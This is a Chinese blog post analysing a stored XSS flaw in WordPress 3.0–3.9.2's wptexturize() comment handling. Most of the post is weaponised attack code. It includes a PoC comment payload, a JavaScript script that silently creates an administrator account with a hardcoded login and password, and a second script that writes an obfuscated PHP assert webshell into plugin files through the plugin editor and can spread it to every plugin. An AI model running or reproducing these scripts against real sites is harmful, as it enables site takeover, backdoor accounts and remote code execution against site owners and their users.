WordPress 3.0-3.92 存储型XSS添加管理员&getshell脚本

前面发布了wordpress的xss漏洞,下面是详细的分析:

这个漏洞出现在/wp-includes/formatting.php中的wptexturize()函数中

当我们在wordpress留言后,留言首先会被分成多个片段来处理,功能就是由这个函数完成的。

$no_texturize_shortcodes = '(' . implode( '|', apply_filters( 'no_texturize_shortcodes', $default_no_texturize_shortcodes ) ) . ')';
  
    $no_texturize_tags_stack = array();
    $no_texturize_shortcodes_stack = array();
  
    $textarr = preg_split('/(<.*>|\[.*\])/Us', $text, -1, PREG_SPLIT_DELIM_CAPTURE);//问题出在这
  
    foreach ( $textarr as &$curl ) {
        // ...
    }
    return implode( '', $textarr );

 

/(<.*>|\[.*\])/Us这个正则表达式将匹配[]和<>中的所有内容,但是是以懒惰模式匹配的,也就是匹配到离左边的方括号最近的右方括号。通过这个正则匹配后,留言会被分成若干个片段。如下图:

http://p3.qhimg.com/t01c23f7a9426895f32.png

wordpress中方括号内的内容将不做转义,所以如果我们在方括号中加入尖括号并插入恶意脚本,将会造成XSS。

poc:

[<a href="xxx" title="]"></a>[" <!-- onmouseover=alert(/xss/)//><!-- -->XSS<a></a>]

增加管理员的js脚本:

var a = location.href.split('/'); 
var xurl = location.href.replace(a[a.length-1],"user-new.php"); 
jQuery.ajax({ 
  url: xurl, 
  type: 'GET', 
  dataType: 'html', 
  data: {}, 
}) 
.done(function(data) { 
  var temp = jQuery(data); 
  var Xtoken = ""; 
  temp.find('input#_wpnonce_create-user').each(function(i,o){ 
    var o=jQuery(o); 
    Xtoken=o.attr('value'); 
  }); 
  jQuery.ajax({ 
    url: xurl, 
    type: 'POST', 
    data: {'action': 'createuser','_wpnonce_create-user':Xtoken,'user_login':'0x_Jin','email':'root@xss1.com','first_name':'0x_Jin','last_name':'0x_Jin','url':'www.xss1.com','pass1':'fuckxssQ','pass2':'fuckxssQ','role':'administrator','createuser':'Add+New+User+'} 
  }) 
  .done(function(){ 
    console.log('ok'); 
    return; 
  }) 
}) 
.fail(function() { 
  console.log("error"); 
}) 
.always(function() { 
  return; 
});

会添加一个管理员

账号:0x_Jin

密码:fuckxssQ

getshell的脚本:

/* 
0x_Jin WordPress Getshell 
*/ 
var a = location.href.split('/'); 
var file = ""; 
var xurl = location.href.replace(a[a.length-1],"plugin-editor.php"); 
var file2 = []; 
var StartGetshell = 0; 
var shellcode = '<?php\n$k="ass"."ert"; $k(${"_PO"."ST"} ["fuckxssQ"]);'; 
jQuery.ajax({ 
  url: xurl, 
  type: 'GET', 
  dataType: 'html', 
  data: {}, 
}) 
.done(function(data) { 
  var temp = jQuery(data); 
  var Xtoken = ""; 
  var Tmpcode = ""; 
  temp.find('input#_wpnonce').each(function(i,o){ 
    var o=jQuery(o); 
    Xtoken=o.attr('value'); 
  }); 
  temp.find('textarea#newcontent').each(function(i,o){ 
    var o=jQuery(o); 
    Tmpcode = o.text().replace('<?php',shellcode);     
  }) 
  temp.find('div.alignleft big strong').each(function(i,o){ 
    var o=jQuery(o); 
    file = o.text(); 
  }) 
  temp.find('select#plugin option').each(function(i,o){ 
    var o=jQuery(o); 
    file2.push(o.attr('value')); 
  }) 
  if(Xtoken&&Tmpcode&&file){ 
    jQuery.ajax({ 
    url: xurl, 
    type: 'POST', 
    data: {'_wpnonce':Xtoken,'newcontent':Tmpcode,'action':'update','file':file,'plugin':file,'submit':'Update+File'} 
    }) 
    .done(function(){ 
      var temp = location.href.substring(location.href.indexOf('wp-admin'),location.href.length); 
      console.info('Webshell:'+location.href.replace(temp,"wp-content/plugins/"+file)); 
      return; 
    })   
  } 
  if(StartGetshell){ 
    for(var i=0;i<file2.length;i++){ 
      var filename = file2[i]; 
      if(file2[i]!=file){ 
        jQuery.ajax({ 
          url: xurl, 
          type: 'POST', 
          data: {'plugin': file2[i],'Submit':'Select'}, 
        }) 
        .done(function(data) { 
          var NewCode = ""; 
          var NewToken= ""; 
          var Getshell=jQuery(data); 
          Getshell.find("textarea#newcontent").each(function(i,o){ 
            var o=jQuery(o); 
            NewCode = o.text().replace('<?php',shellcode);     
          }) 
          Getshell.find("input#_wpnonce").each(function(i,o){ 
            var o=jQuery(o); 
            NewToken = o.attr('value'); 
          }) 
          if(NewCode&&NewToken){ 
            console.log("1"+filename); 
            jQuery.ajax({ 
            url: xurl, 
            type: 'POST', 
            data: {'_wpnonce':NewToken,'newcontent':NewCode,'action':'update','file':filename,'plugin':filename,'submit':'Update+File'} 
            }) 
            .done(function(){ 
              var temp = location.href.substring(location.href.indexOf('wp-admin'),location.href.length); 
              console.info('Webshell:'+location.href.replace(temp,"wp-content/plugins/"+filename)); 
              return; 
            })   
          } 
        })       
      } 
    } 
  } 
}) 
.fail(function() { 
  console.log("error"); 
}) 
.always(function() { 
  return; 
});

可getshell

getshell
getshell
getshell
getshell

直到此处,这个wordpress少见的过滤不严导致的存储型xss的细节分析和利用才算完整的展现在大家眼前。欢迎各位机友指正讨论,并进一步深挖。

原创文章,作者:老D,如若转载,请注明出处:https://laod.cn/297.html

(0)
上一篇 2014-11-29
下一篇 2014-12-08

相关推荐

发表回复

登录后才能评论